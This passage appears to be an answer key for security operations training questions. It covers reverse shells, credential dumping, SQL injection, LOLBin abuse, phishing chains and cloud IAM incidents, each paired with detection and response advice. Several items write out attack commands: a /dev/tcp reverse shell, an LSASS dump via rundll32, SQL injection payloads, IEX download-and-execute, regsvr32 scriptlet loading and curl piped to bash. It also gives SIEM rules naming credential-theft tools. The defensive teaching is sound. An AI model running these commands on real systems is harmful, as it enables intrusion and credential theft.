22. Linux Reverse Shell via Bash/TCP

Command:

bash -c 'exec 3<> /dev/tcp/[Link]/443; cat <&3 | while read line; do $line 2>&3
>&3; done'

Explanation:
Creates a reverse shell over TCP to IP [Link] on port 443, enabling remote
command execution without writing any files.
Threat:

• Fileless
• Obfuscates command channel
• Often used by pentesters and attackers to maintain stealth
Response:
• Monitor /dev/tcp use
• Detect suspicious outbound connections to rare IPs

23. Attack: Domain Credential Dump + Lateral Transfer

Techniques Used:

• T1003.003: Dumping [Link] (AD database)

• T1021.002: SMB used to move files
Controls:
• Alert on NTDS or SYSTEM hive access
• Restrict SMB file sharing
• Use Network DLP to detect sensitive data movement
24. Indicators of Compromise (Windows Event Logs)
Event ID 4672: Logged for accounts with special privileges (e.g., SeDebug, SeImpersonate)
Event ID 7045: Shows a new service installation
Combined: Indicates malware running with high privilege via a malicious service
Action:

• Check svhost-updater binary path

• Quarantine host
• Reverse engineer [Link]
• Review service creator process

25. IAM Misconfiguration Risk (AWS)

Policy Example:

"Action": "*", "Resource": "*"

Problem: Gives unrestricted admin access

Why risky: If compromised, attacker gains full control (data, compute, IAM, billing, etc.)
Fix:

• Apply least privilege principle

• Use scoped permissions with only necessary actions
• Enforce permission boundaries using IAM conditions or service control policies

26. MITRE ATT&CK Mapping – RDP Persistence

Actions Observed:

• Create local account

• Add to Remote Desktop Users
• Use RDP for access
Mapped Techniques:
• T1136.001: Local account creation
• T1078.001: Using valid credentials
• T1021.001: RDP for remote access
Impact:
• Hard to detect if accounts appear “normal”
• Bypasses traditional malware detection
Detection:
• Monitor new user accounts
• Alert on group membership changes
• Track RDP sessions from new IPs

27. PowerShell Launched from Outlook – Investigation Steps

Process Chain:
[Link] → [Link]
Risk:
Likely phishing email with malicious macro or attachment
Steps:

1. Identify the email and attachment

2. Analyse full PowerShell command
3. Check for outbound connection (malware download?)
4. Look for persistence (registry, scheduled task)
5. Isolate host and notify user

28. SQL Injection Attack – Union-based

Payload:

?id=10 UNION SELECT null,username,password FROM users--

Explanation:

• Attempts to bypass normal query logic and dump credentials

• Classic SQLi technique
Mitigation:
• Use parameterised queries (prepared statements)
• Apply WAF rules for SQLi
• Validate and sanitise all user input

29. Malware Attack Chain Reconstruction:

Events:

• Word macro launches PowerShell

• PowerShell downloads executable
• Scheduled task created
• Malware connects to IP
Mapped Phases:
• Initial Access: Spear-phishing via .doc macro
• Execution: PowerShell
• Persistence: Scheduled Task
• C2 (Command & Control): Connect to attacker IP
SOC Actions:
• Reverse engineer downloaded binary
• Block associated IP/domain
• Identify lateral movement

30. Excel-Based Phishing with Macros – Response Steps

Steps to Investigate:
1. Isolate infected machine immediately
2. Extract the Excel .xlsm and open it in a sandbox
3. Analyse embedded VBA macro code
4. Trace file drops or spawned processes (e.g., [Link])
5. Correlate with SIEM/EDR to see if others received same attachment
6. Reset affected user credentials
7. Block the C2 domain/IP and deploy updated detection rules
ANSWERS 31–40

31. LSASS Dumping (Credential Theft)

Command:

[Link] [Link], MiniDump 736 [Link] full

Explanation:

• LSASS (Local Security Authority Subsystem Service) holds sensitive credentials

(plain text, NTLM hashes, Kerberos tickets).
• This command creates a memory dump of LSASS, which can be analysed offline
using tools like Mimikatz.

Risk:

• If successful, attacker can harvest admin credentials for lateral movement or

domain compromise.

Detection & Response:

• Alert on rundll32 accessing [Link]

• Use Credential Guard or LSASS protection in Windows
• Restrict access to [Link] usage

32. SIEM Rule – Detect Suspicious PowerShell Downloads

Detection Logic:

IF process_name = "[Link]" AND command_line CONTAINS ("Invoke-

WebRequest" OR "wget" OR "curl") AND destination_ip IS EXTERNAL
THEN alert

Why?
These PowerShell commands are used to fetch files or payloads from the internet, often by
malware during staging or C2.

Recommendation:
Monitor for these keywords and correlate with proxy/DNS logs.

33. Scheduled Task Privilege Escalation

Steps by attacker:

1. Create a malicious .bat file that adds themselves to administrators

2. Schedule it to run as SYSTEM
Impact:
Gains local admin privileges without needing a vulnerability, uses Windows tools
(schtasks) to elevate access.

Detection:

• Monitor [Link] creation with SYSTEM context

• Look for batch files performing group additions

34. PowerShell Base64 Analysis

Command snippet:

powershell -enc [base64 string]

Approach:

• Decode base64 using PowerShell:

[[Link]]::[Link]([Convert]::FromBase64String("..."))

• Alternatively, use CyberChef

Goal:
Find indicators like:

• Download links
• File writes
• Beaconing behaviour
• Obfuscation or persistence commands

35. AWS Path Traversal via S3 Object Key

Activity Observed:
Attacker uses S3 PutObject with key like ../../../etc/passwd

Explanation:
This is a path traversal attack, trying to trick backend storage or web proxies to write
outside their intended scope.

Action:

• Validate file paths in S3 APIs

• Block attempts to include ../ in object keys
• Audit bucket permissions
36. File Extension Spoofing – [Link]
Why Effective:

• Appears like a PDF to non-technical users

• Uses double extensions + icon to deceive
• Windows may hide known extensions (.exe is hidden)

Prevention:

• Disable “Hide extensions for known file types” via Group Policy
• Use email filtering to scan attachments beyond filename
• Train users to hover & inspect actual file types

37. SIEM Alert – Brute-force or Credential Stuffing

Observation:

• Multiple failed logins for [Link] from various endpoints

Likely Scenarios:

• Credential stuffing (trying leaked credentials)

• Brute-force from botnet
• Compromised account attempting lateral movement

Immediate Steps:

1. Reset account credentials

2. Investigate source IPs, device names
3. Apply account lockout and MFA
4. Review for successful logins

38. PHP Web Shell Detection – [Link]

Behaviour:
Attacker sends POST request like cmd=whoami, interpreted by the server.

Validation:

• Open the file on the server: look for eval($_POST['cmd']), system(), etc.
• Confirm whether input is passed to shell without sanitisation

Remediation:

• Delete web shell

• Review logs for attacker IP
 • Fix vulnerable upload features (e.g., lack of file type checks)

39. Insider Threat Indicators

Red Flags:

• Accessing sensitive data after hours

• Transferring files via USB and email
• Using personal accounts

Controls to Apply:

• Data Loss Prevention (DLP), monitor USB writes & email content
• User Behaviour Analytics (UBA), detect anomalies in user patterns
• Enforce role-based access controls (RBAC) and time-based restrictions

40. WMIC-Based Lateral Movement (T1021.003)

Command:

wmic /node:"HR-PC02" /user:"hradmin" /password:"P@ssw0rd123" process call create

"[Link] ..."

Explanation:
Attacker uses valid credentials + WMIC to run PowerShell remotely.

Detection:

• Alert on remote wmic usage

• Track remote PowerShell or command execution events
• Flag login attempts using service/local accounts from non-privileged sources

Mitigation:

• Disable WMIC where not needed

• Use host-based firewall rules
• Monitor unusual use of admin$ or C$ shares
ANSWERS 41–50

41. PsExec Indicators (Lateral Movement Detection)

Indicators to Monitor:

1. [Link] or [Link] launched by [Link] or [Link]

2. Remote execution over admin shares (C$, ADMIN$)
3. Execution on non-jump hosts (unusual in normal ops)

Detection Logic:

• Match parent-child process chains

• Alert if PsExec is used outside of approved systems
Risk:
PsExec is a powerful tool for attackers to move laterally using valid credentials.

42. Phishing → Payload Delivery via Fake Zoom Domain

Domain Used:
[Link], impersonates both Zoom and Microsoft
Process Chain:
[Link] → [Link] → download file

Threat:
Initial compromise likely via a phishing link.
Recommended Actions:

• Block domain/IP
• Pull and reverse-engineer downloaded payload
• Identify how the user got phished
• Search similar patterns in SIEM logs

43. Use of [Link] for Remote Code Execution

Explanation:
mshta can run remote .hta (HTML Applications) over HTTP.
Why Dangerous:

• Executes JavaScript or VBScript

• Runs via trusted Windows binary
• Often fileless and obfuscates code

Mitigation:

• Block or alert on mshta contacting external URLs

• Use EDR rules to block LOLBins unless required
44. Privileged Account Creation at Odd Hours
Red Flags:

• Created at 03:47 AM, outside normal hours

• Created by service account
• Added directly to Domain Admins

Actions:

1. Disable the new account

2. Audit svc-webadmin activity
3. Check if attacker also planted persistence (e.g., scheduled tasks, GPO mods)

Why Critical:
Creating privileged accounts is a common move in post-exploitation persistence.

45. SQL Injection – OR 1=1

Attack Example:

?id=10 OR 1=1--

Explanation:
By injecting OR 1=1, attacker forces the SQL query to always return true, often dumping all
table rows.

Mitigation:

• Parameterised queries in the backend

• WAF rules to detect SQL syntax anomalies
• Escaping and sanitising all user inputs

46. AWS IAM Misuse – Privilege Escalation

Activity:
temp-user was given AdministratorAccess by a high-privileged account.

Risk:
Allows the attacker full control if this account was compromised.

Immediate Actions:

• Detach the policy

• Invalidate current session tokens
• Rotate all access/secret keys
• Investigate logs from security-admin
47. MITRE ATT&CK Mapping of Malware Chain
Observed:

• [Link] launches PowerShell → [Link] runs DLL → Registry modified

Mapped Techniques:

• T1566.001 – Spearphishing Attachment

• T1059.001 – PowerShell
• T1218.011 – Rundll32 abuse
• T1547.001 – Persistence via Registry Run key

Full lifecycle compromise, perfect for incident reconstruction and tabletop exercise.

48. Insider Data Exfiltration via Email + DLP Flag

Scenario:
User sent 4 batches of customer PII data to [Link].

Investigation Plan:

• Review DLP logs: What data was leaked, when and how
• Check email metadata: Subject, recipients, justification
• Interview user’s line manager
• If verified malicious: Notify HR/legal
• If justified but unsafe: Educate and enforce policy

49. Email Header Red Flags – Phishing Alert

Header Details:

• From: it-helpdesk@[Link]
• Reply-To: it-reset@[Link]

Why Suspicious:

1. Free/unknown domains (e.g., protonmail)

2. Mismatched reply-to (common phishing trick)
3. No DKIM or DMARC = not verifiable sender
Combined with urgent tone → strong phishing indicators

50. Beaconing via Pastebin – Suspicious Proxy Log

Observed:

• Repeated GET requests to [Link]/raw/...

Why It’s Suspicious:

• Pastebin is often used for encoded commands, payloads or C2

• Repeated hits suggest automated malware fetching instructions

Action Steps:

• Download and inspect the pastebin content

• Match requesting process via EDR logs
• Block domain if confirmed malicious
• Isolate infected host
ANSWERS 51–60

51. Correlation Logic – Credential Access + Lateral Movement + Privilege Escalation

Scenario:

• Event ID 4624 (successful logon)

• Followed by wmic, psexec or remote powershell
• Then group modification (e.g., user added to Domain Admins)

Why Important:
This is a classic attack chain seen in post-exploitation by threat actors using compromised
credentials to move laterally and gain more control.

Detection Tip:
Correlate across host logs + event timestamps to identify chained behavior from the same
user/IP within short intervals.

52. File Extension Spoofing via .lnk File

Scenario:
User opens [Link], which runs hidden PowerShell via -enc (encoded command)

Threat:

• Appears like a document

• Executes hidden command
• Payload downloaded + executed silently

Action:

• Decode base64 (check for malware or beaconing)

• Investigate persistence (e.g., Scheduled Tasks, Registry Run keys)
• Isolate host, kill suspicious processes, scan with EDR

53. Phishing via Malicious .html Attachment (Credential Harvesting)

Indicators to Extract:

• URLs within script

• Fake form fields like username, password, otp
• Obfuscation like atob(), unescape() or hex-encoded strings

Detection Methods:

• Use email sandbox to test attachments

• Block links/domains from email body
 • Write YARA rules to flag lookalike login forms

54. PowerShell Command – Remote Script Execution (IEX + WebClient)

Command Example:

powershell -nop -w hidden -c "IEX ((New-Object

[Link]).DownloadString('[Link]

Risk:

• Runs script in memory

• No dropped file → bypasses AV
• Common in phishing payloads

Action:

• Block C2 IP/domain
• Search for similar command patterns (e.g., IEX, DownloadString)
• Review user & parent process chain

55. regsvr32 Abuse for Remote Scriptlet Execution

Command Pattern:

[Link] /s /n /u /i:[Link] [Link]

Threat Type:

• LOLBin abuse
• No disk artifact
• Script runs from memory

Response:

• Terminate process
• Analyse .sct script
• Set SIEM rule: Alert if regsvr32 executes with /i:http flag

56. Suspicious Service Change (Event ID 7040)

Observation:
System service (WinUpdate) changed to "disabled" at 3 AM

Why It’s Suspicious:

Attackers disable updates or security agents to avoid detection or re-enablement of
defenses.
Response:

• Identify the actor who modified service config

• Restore service to default
• Review logs for lateral movement or privilege abuse

57. Suspicious IAM User Creation in AWS

Alert:

• IAM admin created new user (billing-temp) at 2:33 AM

• IP: unknown and possibly foreign

Threat:
Possible insider activity or compromised admin account

Actions:

• Revoke credentials
• Suspend created user
• Check CloudTrail for actions taken
• Investigate security-admin login location, MFA, device

58. Linux Reverse Shell – Interactive Session via pty

Command:

/usr/bin/python3 -c "import pty; [Link]('/bin/bash')"

Purpose:
Gives attacker a more usable shell (with arrow keys, history, etc.)

Detection & Response:

• Check bash history, parent processes (e.g., netcat, ssh)

• Inspect /tmp and /dev/shm for dropped tools
• Review login IPs and audit logs

59. FTP Data Exfiltration Monitoring

Key Log Fields to Watch:

• destination_ip, port = should be 21 (FTP)

• username
• bytes_sent
• Timestamps vs. working hours
Detection Logic:

IF protocol=FTP AND bytes_sent > 52428800 (50MB) AND time=non-business hours THEN
alert

Bonus Tip:
Flag uploads to unknown or non-corporate FTP destinations

60. Threat Intel Matching – StealthLinker via User-Agent

Threat Intel:
C2 malware uses:

Mozilla/5.0 ... LinkModule

Detection Strategy:

• Regex match on User-Agent in proxy logs

e.g., .*LinkModule.*
• Also match URI paths or Hostnames for additional confidence

Challenges:

• User-Agent spoofing is common

• Threat may rotate strings to avoid detection
• Consider fingerprinting by JA3, SNI or TLS metadata
ANSWERS 61–70

61. Suspicious Logon from Germany – Account Compromise or Credential Sharing

Scenario:
User from Malaysia logs in, followed shortly by another login from Germany. No VPN
detected.

Investigation Steps:

• Check IP geolocation and ASN ownership

• Review browser/device fingerprint (user-agent, OS, device ID)
• Force password reset
• Enable MFA if not enforced
• Investigate lateral movement or privilege escalation after the logon
Tip: Impossible travel detection rules can be used to correlate fast geolocation
switches.

62. Detecting Uploads to Cloud Storage Services

Security Measures:

• DLP integration for SSL traffic (must enable SSL decryption)

• Monitor uploads to [Link], [Link], [Link]
• Alert on high volume HTTPS uploads
• Behaviour-based triggers (e.g., user never uploaded files before suddenly uploads
100MB+)

Preventive Options:

• Block personal cloud services via proxy policies

• Apply content inspection
• Use CASB solutions for SaaS monitoring

63. Suspicious Startup PowerShell Script (wup.ps1)

Indicators:

• Located in C:\ProgramData\, commonly abused for malware staging

• Script launched with: -WindowStyle Hidden -ExecutionPolicy Bypass

Investigation Steps:

• Analyse the script content (decode any obfuscation or base64)

• Check execution time relative to user logon
• Correlate with autorun persistence (registry, task scheduler)
Tools to Use:

• Sysinternals Autoruns
• EDR or SIEM timelines
• VirusTotal for hash lookup

64. Kerberoasting Detection via Event ID 4769

Key Observables:

• High volume of Kerberos TGS (service ticket) requests

• Target accounts are service accounts (e.g., sqlsvc, websvc)
• Encryption type = RC4-HMAC (crackable)

Response Actions:

• Rotate passwords of service accounts

• Enforce long, complex passwords
• Limit accounts with SPN assignments
• Monitor with Honey SPNs

65. Safe Mode Registry Persistence

Key Registry Path:
HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\[Link]

Why It’s Dangerous:

• Malware will execute even in Safe Mode, where many AVs and tools are disabled
• This is an advanced evasion and persistence tactic

Actions:

• Remove registry entry

• Investigate what binary it points to
• Clean the binary and disable execution path
• Search for associated IOCs

66. XLSM Macro → [Link] → Remote HTA Payload

Attack Chain:

1. User opens infected Excel file

2. Macro triggers [Link]
3. mshta fetches .hta from C2
4. Payload downloaded and executed
Defensive Steps:

• Block execution of [Link] in user context

• Quarantine Excel file
• Retrieve and analyse .hta (usually JavaScript/VBScript)
• Identify registry/persistence mods done by payload

67. DNS Tunneling – Covert Data Exfiltration

Indicators:

• Extremely long subdomains (e.g., j4hs8duh3...[Link])

• Repeated TXT or NULL record usage
• High volume of DNS queries with no other traffic

Tools for Detection:

• dnscat2, iodine, dns2tcp (used by attackers)

• SIEM rule: flag > 1000 DNS queries per hour per host
• Detect entropy patterns in subdomain strings

68. AWS S3 Bucket Misconfiguration – Data Exposure

Immediate Response:

• Remove public ACL or s3:GetObject permission

• Log access attempts via CloudTrail and S3 access logs
• Notify any customers impacted

Prevention Steps:

• Use AWS Config to alert on public bucket

• Enable GuardDuty for S3 anomaly detection
• Use IAM policy conditions to restrict public access

69. Full Compromise Chain – AV Disablement and Payload Execution

Command Indicators:

• PowerShell script with Set-MpPreference -DisableRealtimeMonitoring

• Obfuscated command + download + execution

Detection:

• Alert on any Defender config change

• SIEM rules matching PowerShell cmdlets like Set-MpPreference
• Monitor process tree: [Link] + -enc + network access
Mitigation:

• Use tamper protection in Defender

• Lock Defender settings via GPO
• Block execution of known LOLBins unless needed

70. Full Attack Chain: JS Dropper via [Link]

Observed Sequence:
[Link] → [Link] → [Link] [Link] → payload download → Registry Run key
persistence

Response Plan:

• Quarantine host
• Analyse [Link], common to see obfuscated JS with base64 payload
• Remove HKCU\Software\Microsoft\Windows\CurrentVersion\Run key
• Search environment for lateral movement

Detection Enhancer:
Correlate chain of Windows Scripting Host launches + network connections + persistence
in registry.
ANSWERS 71–80

71. HTML Phishing Link in Email, Action Plan

Attack Type: Credential harvesting via embedded form or fake login page.

Steps to Investigate and Respond:

• Check email logs and user interaction (click-through, form submission)

• Force password reset for users who clicked or submitted credentials
• Block the phishing domain on web proxy or DNS firewall
• Add sender domain and IP to email security blocklists
• Perform mailbox search for similar HTML phishing emails
• Educate users on identifying HTML-based phishing emails

Proactive Tip:
Use mail flow rules to quarantine .html attachments in high-risk environments.

72. [Link] Launching PowerShell & rundll32, Malicious Chain

Why Suspicious:

• [Link] should not spawn [Link] or [Link]

• DLL execution via rundll32 is a common evasion method

Investigation Workflow:

• Analyse [Link] on VirusTotal and sandbox platforms

• Retrieve full command line from PowerShell execution
• Trace file origin (e.g., downloaded from email or browser)
• Look for persistence mechanisms: registry, scheduled tasks
• Isolate the infected host and kill suspicious processes

73. External User GCP IAM Misconfiguration

Risk: External user granted Owner access to GCP project, full privilege compromise

Response Steps:

1. Immediately revoke Owner or Editor role from the external identity

2. Audit IAM activity logs for project/resource changes by the external user
3. Investigate the backup-admin account for compromise, check login IP, session
history, device fingerprint
4. If breach confirmed, rotate all sensitive secrets/keys and notify stakeholders

74. PowerShell Command Decodes to: Start-Sleep 10

Interpretation:
 • Adds 10-second delay before further code execution
• Often used by malware to evade sandbox detection or avoid race conditions

Follow-up:

• Analyse what commands follow the delay

• Check if this script is part of a larger dropper chain
• Monitor script for C2 connections or downloads

75. Registry Key Hijack via Winlogon\Shell

Registry Path:
HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell

Tactic:

• Attacker adds malicious executable here

• Ensures execution on every login, even with no user interaction

Detection Tip:

• Monitor changes to Shell key

• Compare entries against known-good baselines
• Alert if executable path is non-standard or unknown

76. [Link] Used to Download Malware

Detection Logic:

IF process_name = "[Link]" AND

command_line CONTAINS ("http" AND ".exe")
THEN ALERT

Indicators of Suspicion:

• /urlcache or /f flags used

• Download destination in C:\Users\Public\ or Temp

Response:

• Trace downloaded file

• Check execution logs and endpoint behaviour
• Block URL/domain and investigate IP reputation

77. Host Using Multiple Protocols for C2 (DNS, HTTP, HTTPS)

Observation:
 • Beaconing or data exfiltration using redundant paths
• Common in APT tools for reliability and stealth

Actions:

• Correlate multiple protocol traffic to same destination

• Alert if same host/IP is receiving data over DNS, HTTP and HTTPS
• Check JA3/SNI fingerprinting to confirm session identity
• Investigate potential malware implants or droppers

78. Malicious .iso Email Attachment

Why .iso Used in Phishing:

• Bypasses some AV/email gateway rules

• Windows auto-mounts ISO files
• ISO can contain .lnk (shortcut) files or executables

Prevention Strategies:

• Block .iso file extensions in email security gateway

• Disable auto-mount via GPO
• Monitor for .lnk file executions from virtual drives

79. HTTPS Beaconing via POST, Indicators of C2 Traffic

Beaconing Indicators:

• Consistent POST requests at fixed intervals

• Rare domains or DGA-like structures
• Identical JA3 hashes (TLS client fingerprint)
• Repeated use of same User-Agent and URI patterns

Detection Use Case:

• Alert if:
o destination_domain is new/rare
o POST method occurs >5 times/hour to same domain
o JA3 or SNI matches known malware signatures

80. Advanced Persistent Threat (APT) Detection Priorities

Key Detection Focus Areas:

• DNS Tunneling: Look for long subdomains and high TXT record usage
• PowerShell Logging: Enable Script Block Logging and Module Logging
• LOLBins: Alert on suspicious use of mshta, rundll32, wmic, regsvr32, etc.
• Beaconing: Hunt for fixed-interval connections to rare external domains
• MITRE ATT&CK Mapping: Use ATT&CK techniques in SIEM for alert prioritisation and
coverage
ANSWERS 81–90

81. [Link], Data Exfiltration via Cloud Sync

Indicators of Compromise:

• process_name = [Link]
• Command-line includes --drive, --s3, --upload, --config
• Destination IP/DNS belongs to cloud storage (e.g., [Link], [Link])
• Unusual upload volumes outside normal patterns

Detection Rule Logic:

IF process_name = "[Link]" AND

command_line CONTAINS ("--drive" OR "--s3") AND
bytes_sent > 50MB
THEN ALERT

82. Phishing with Macro, Fileless Payload via LOLBins

MITRE ATT&CK Techniques:

• T1204.002 – User Execution: Malicious File

• T1059.001 – PowerShell
• T1218.010 – Regsvr32 Execution

Explanation:
Phishing email with macro uses LOLBin regsvr32 to remotely fetch and execute script
without writing to disk, enabling fileless persistence.

83. Azure Admin Compromise, No MFA

Incident Response Steps:

1. Re-enable MFA and Conditional Access

2. Audit logs: login time, location, IP, device
3. Review Azure AD sign-ins and risky login detections
4. Reset password or disable sysadmin@[Link]
5. Look for tampered policies, groups and role escalations

Proactive Action:
Enforce MFA for all admin roles using Conditional Access.

84. Persistence via Host-Based Service

Context:
Service registry key has Start=2, meaning automatic startup
Remediation Steps:

• Hash check and sandbox [Link]

• Check ImagePath and ServiceDLL if applicable
• Review service creator and timestamp
• Look for correlated entries in Scheduled Tasks or registry
• Delete the service and clean the binary

85. Mimikatz and Credential Dump Detection

Detection via Event ID 4688 (Process Creation):

• Command line includes: sekurlsa, logonpasswords, mimikatz, procdump

• Process = [Link], [Link], [Link]
• Parent process is suspicious (e.g., [Link])

SIEM Rule Sample:

IF EventID = 4688 AND

command_line CONTAINS ("sekurlsa" OR "mimikatz") AND
user_privilege = "Admin"
THEN ALERT

86. C2 Beaconing Analysis

Indicators:

• Fixed interval outbound connections

• POST requests to unclassified or rare domain
• Same User-Agent used repeatedly
• Identical JA3/SNI fingerprints

Next Steps:

• Isolate host
• Extract IOCs (IP, domain, JA3)
• Correlate with known threat intel
• Identify initial infection source (email, USB, drive-by)

87. Malicious curl Piped to bash

Command:

curl [Link] | bash

Danger:
 • Executes remote code directly
• Potential to create users, cron jobs or backdoors

Response:

• Isolate the host

• Do not run the shell script, inspect it offline
• Audit system for persistence: new users, cron jobs, services
• Reimage if full compromise is confirmed

88. Fileless PowerShell with IEX

Technique:
IEX = Invoke-Expression, executes downloaded script in memory
Common in fileless malware delivery

Actions:

• Retrieve and decode pt.ps1

• Analyse for obfuscation or C2 connections
• If malicious, reimage or deep clean
• Block IP/domain from where script is pulled

89. FTP Upload + Log Deletion = Data Exfiltration + Cover Tracks

Observed Sequence:

• File exfiltration to FTP

• AV log deletion attempt (del "C:\ProgramData\AV\Logs\*")

Response Steps:

• Isolate host
• Retrieve FTP IP and match with threat intel
• Recover logs from SIEM or central store
• Begin full triage: memory analysis, persistence check

90. ISO-Based Initial Access + Stealthy Persistence Chain

Attack Chain Overview:

• .iso attached to phishing email

• User opens .lnk → runs [Link]
• Script modifies registry and starts beaconing
• DoH (DNS over HTTPS) and OneDrive for C2/exfil
Detection Strategy:
Endpoint:

• Alert on .lnk execution from mounted volumes

• Enable AMSI and ScriptBlockLogging
• Monitor Registry and GPO changes

Network:

• Inspect for DoH traffic (e.g., [Link], [Link])

• Alert on large uploads to OneDrive/Google Drive
• Detect new DNS queries to dynamic DNS (DDNS)

Cloud:

• Monitor Azure AD for:

o Sudden role escalations
o New OneDrive shares
o Multiple logins from unknown geos
ANSWERS 91–100

91. Brute Force Detection Logic

Approach:

• Group by: src_ip + username

• Event Type: failure
• Time Window: 30 mins
• Threshold: More than 10 failures without success = vertical brute force
• Also detect: Multiple usernames from one IP = horizontal brute force

SIEM Rule:

IF count(login_failures) > 10
AND success_logins = 0
THEN alert

92. Admin Shares Lateral Movement

Technique: Manual use of tools like net use and wmic for remote command execution via
C$ shares.

Detection Strategy:

• Detect net use \\<host>\C$

• Monitor wmic with process call create
• Flag suspicious parent processes and cross-domain credentials

Prevention:

• Block NTLM
• Use EDR to detect remote process creation
• Enforce LAPS for password hygiene

93. Data Exposure via GitHub

Steps to Investigate:

• Review file contents (keywords, PII, API keys, secrets)

• Confirm if GitHub repo is public
• Interview user for intent (malicious/accidental)
• Suspend user if intentional
• Deploy Git hooks + DLP + restrict uploads to whitelisted domains
94. AWS IAM Key Leak
Critical Incident:
Immediate containment needed due to risk of cloud abuse (e.g., crypto mining, S3 exfil).

Steps:

1. Revoke IAM key instantly

2. Turn on CloudTrail + GuardDuty if not enabled
3. Investigate usage: EC2, S3, IAM changes
4. Rotate all credentials and secrets
5. Notify internal and legal teams

95. BITSAdmin Detection Logic

Why BITS is risky:
Often used for stealthy downloads (living off the land)

Detection Rule:

IF process_name = "[Link]"
AND command_line CONTAINS ("http" OR "download" OR "transfer")
THEN alert

Fields to Log:

• Command line
• File path
• User
• Destination IP/domain
• Time

96. mshta Phishing and RCE

Attack Type: Fileless remote execution using trusted binary

Steps to Analyse:

• Retrieve and deobfuscate [Link]

• Confirm if URL points to payload
• Investigate source (email, drive-by)
• Isolate and reimage if malicious confirmed
• Hunt for mshta with remote URLs in environment

97. Telemetry Required for Investigation

Log Sources:
 • Event ID 4688 for process creation
• PowerShell ScriptBlock logs
• Parent-child process chain (e.g., [Link] → [Link])
• DNS logs for beaconing
• Proxy logs for unknown or rare domains

Hunting Tip:
Use keyword and behavior chaining (e.g., PowerShell + encoded + DNS request)

98. APT Attack Lifecycle Breakdown

MITRE ATT&CK Mapping:

• Initial Access: T1566.001 – Spearphishing

• Execution: T1059.005 – Macro execution
• Persistence: T1547.001 – Registry Run Keys
• Exfiltration: T1041 – Exfil over C2 Channel, T1020 – Automated Exfil

Response:
Full IR needed: containment, threat hunting, communication to execs, recovery and IOC
sweeping

99. HR Staff Uploaded PII to Personal Cloud

Actions:

• Confirm PII exposure and whether it violates company policy

• Interview staff to assess intent
• Request deletion if uploaded to Google Drive/Dropbox
• Enforce:
o DLP
o Endpoint restrictions
o Personal cloud access blocks
o Sensitivity labelling and encryption on HR data

100. Threat Hunting Plan (Advanced)

A. Scheduled Tasks Abuse:

• Hunt [Link] with suspicious names or hidden flags

• Use Sysmon + Task Scheduler logs

B. MSI Installer Abuse:

• Flag [Link] with http:// in command line

• Hunt payload paths like C:\Users\Public
C. Beaconing Indicators:

• Consistent timing (e.g., every 60s)

• Rare JA3/SNI fingerprint
• POST traffic to unknown domains
• Combine proxy + EDR + DNS logs